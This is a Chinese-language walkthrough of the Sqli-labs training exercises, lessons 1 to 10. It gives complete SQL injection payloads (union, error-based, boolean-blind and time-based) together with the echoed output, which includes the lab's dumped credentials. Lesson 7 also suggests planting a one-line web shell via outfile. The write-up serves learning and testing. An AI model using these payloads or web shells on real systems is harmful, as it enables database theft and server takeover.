Sqli-labs Less1
源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出查询内容
else:
print_r(mysql_error());
- 请求方式— GET
- 包裹方式— id=‘1’
- 注入类型— 联合、报错、布尔盲注、延时
联合注入过程
?id=1' order by 1 --+
回显正常
?id=1' order by 2 --+
回显正常
?id=1' order by 3 --+
回显正常
?id=1' order by 4 --+
回显错误
证明列数=3
查库:
?id=-1' union select 1,2,database() --+
回显:
Your Login name:2
Your Password:security
当前库名为:security
查表:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
#注意:用16进制避免了单括号的出现
回显:
Your Login name:2
Your Password:emails,referers,uagents,users
当前库内表名为:emails,referers,uagents,users
查users表的列:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+
回显:
Your Login name:2
Your Password:id,username,password
当前表内列名为:id,username,password
查字段:
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
回显:
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
以上
报错注入
0x0 原理
0x1 基于格式错误的报错
1. extractvalue()
正确使用格式:extractvalue(xml_document,Xpath_string)
作用:从document中返回包含string的字符
分析: 因为报错中会返回 Xpath_string 所以在此处构造语句 即可在报错中看见所需要的相关信息
利用 ~ (0x7e) # (0x23) $ (0x24) 不符合Xpath的语法规则这一点构造语句
2. updatexml()
正确使用格式:updatexml(xml_document,xpath_string,new_value)
作用:将document中含有string的字符改成new_value
原理与extractvalue()函数相同,不多说
0x2 基于主键重复的报错
运用group by、count()、floor()、rand() 构成的注入
在俺找这个注入原理看的时候看睡着了TT 看到最后也并不是完全通透,网上关于这个报错的原理就有点少,实在不理解我觉得会用就行哈
这四个函数每一个都是产生报错的必要条件!!
具体为什么,听我细细说来
首先介绍一下**rand()**这个东西
很有意思,你看上去他好像是随机的,其实给他一个种子数会生成一个伪静态序列
无论运行几次都是一样的结果呢!
官方文档曾经提示过,在查表的时候rand()会多次调用. 俺猜测,本身随机的效果就是靠多次调用来完成的
只是猜的!!
**floor()**向下取整函数 没啥好多说的
但是配合rand(0)*2就会出现魔法
首先: rand(0)*2生成了一个 [0,2] 的伪静态数列
配合**floor()**使用就生成了一个只有0和1的伪静态数列,如图:
注意!!这串序列是固定的011011….
讲一下,count()和count(*)的区别在count(*)不会忽略null值
搭配group by使用也很常规 不多说了
接下来就是奇迹发生的地方了:
语句:SELECT count(*) from users group by concat(database(),floor(rand(0)*2))
产生报错,如图:
为什么捏为什么捏发生什么事了捏?
事情是这样发生的:
首先group by会生成一个临时表
本来过程应该是这样的:
第一位选手:security0, 检索临时表, 表内没有已有的符合条件的key, 所以插入一个security0的key, count(*)计数+1
但实际上是这样的:
第一位选手:security0, 检索临时表, 表内没有已有的符合条件的key
此时rand()又被调用了! 导致我们的的第一位选手改头换面变成了security1
所以插入一个security1的key, count(*)计1, 如图
随后,我们的第二位选手:security1登场, 已有符合的key, count(*)计数+1, 如图:
第三位选手:security0登场, 没有符合的key
rand()又被调用了! 这一位选手又改头换面变成了security1
于是它又试图插入security1 buzz! error !
报错原理就是这样, 剩下的就是构造语句了 easypeasy
1x0 注入过程
1x1 基于格式错误的报错
1. extractvalue()
查库:
?id=-1' and extractvalue(1,concat(0x7e,(select database())))--+
回显:
XPATH syntax error: '~security'
当前库名为security
查表:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)))--+
回显:
XPATH syntax error: '~emails,referers,uagents,users'
当前库内表名为:emails,referers,uagents,users
查users表的列:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273)))--+
回显:
XPATH syntax error: '~id,username,password'
当前表内列名为:id,username,password
查字段:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users)))--+
回显:
XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
注意:报错信息最多显示32位 若需要全部信息 运用limit构造payload如下
查字段:
?id=-1' and extractvalue(1,concat(0x7e,(select username from users limit+0,1))) --+
回显:
XPATH syntax error: '~Dumb'
limit+0,1依次偏移来获取全部数据
2. updatexml()
注入过程与extractvalue()函数相同,不多说
1x2 基于主键重复的报错
查库:
?id=-1' union select 1,2,count(*) from users group by concat(database(),floor(rand(0)*2)) --+
回显:
Duplicate entry 'security1' for key ''
当前库名为security
查表:
?id=-1' union select 1,2,count(*) from users group by concat((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit+0,1) ,floor(rand(0)*2)) --+
回显:
Duplicate entry 'emails1' for key ''
limit+0,1依次偏移来获取全部数据
查列:
?id=-1' union select 1,2,count(*) from users group by concat((select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit+0,1) ,floor(rand(0)*2)) --+
回显:
Duplicate entry 'id1' for key ''
limit+0,1依次偏移来获取全部数据
查字段:
?id=-1' union select 1,2,count(*) from users group by concat((select password from users limit+0,1) ,floor(rand(0)*2)) --+
回显:
Duplicate entry 'Dumb1' for key ''
limit+0,1依次偏移来获取全部数据
布尔盲注过程
查库:
?id=1' and left(database(),1)='s' --+
回显:
Your Login name:Dumb
Your Password:Dumb
一般配合bp intruder食用 查其他数据也一样, 不多说
原始人方法是:
- 判断语句: “ascii(substring()) operator 一个数字”
- 二分法
搭配食用
延时注入过程
查库:
?id=1' and if(left(database(),1)='c' ,1,sleep(3)) --+
和布尔盲注一样, 一般配合bp intruder食用
其实用intruder也是原始人 一般直接配合sqlmap食用(逃ε=ε=ε=┏(゜ロ゜;)┛)
等我心情好自己写个盲注脚本
Sqli-labs Less2
- 请求方式— GET
- 包裹方式— id=1
- 注入类型— 联合、报错、布尔盲注、延时
其他过程与less1相同
Sqli-labs Less3
- 请求方式— GET
- 包裹方式— id=’’1’’
- 注入类型— 联合、报错、布尔盲注、延时
其他过程与less1相同
Sqli-labs Less4
- 请求方式— GET
- 包裹方式— id=(“1”)
- 注入类型— 联合、报错、布尔盲注、延时
其他过程与less1相同
Sqli-labs Less5
源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出 You are in...........
else:
print_r(mysql_error());
- 请求方式— GET
- 包裹方式— id=’1’
- 注入类型— 报错、布尔盲注、延时
其他过程与less1相同
Sqli-labs Less6
- 请求方式— GET
- 包裹方式— id=”1”
- 注入类型— 报错、布尔盲注、延时
其他过程与less1相同
Sqli-labs Less7
源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
- 请求方式— GET
- 包裹方式— id=”1”
- 注入类型— 布尔盲注、延时
其他过程与less1相同
特别的是: 这个地方作者给了一个hint:
use outfile
大家注意一下
此处有数据库权限问题
和全局变量secure有关系
当secure_file_priv 的值为 null 时: 不允许导入导出文件
当secure_file_priv 的值为 /tmp/ 时: 导入导出文件只能发生在/tmp/目录下
当secure_file_priv 的值为 空 时: 不对导入导出文件做限制
俺也不是很明白作者到底啥意思哈 冷不丁来一句
如果可以导入导出文件, 建议一句话木马配合蚁剑食用,美滋滋,这里不多说
Sqli-labs Less8
- 请求方式— GET
- 包裹方式— id=’1’
- 注入类型— 布尔盲注、延时
其他过程与less1相同
Sqli-labs Less9
源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出 You are in............
else:
输出 You are in...........
- 请求方式— GET
- 包裹方式— id=’1’
- 注入类型— 延时
其他过程与less1相同
Sqli-labs Less10
- 请求方式— GET
- 包裹方式— id=”1”
- 注入类型— 延时
其他过程与less1相同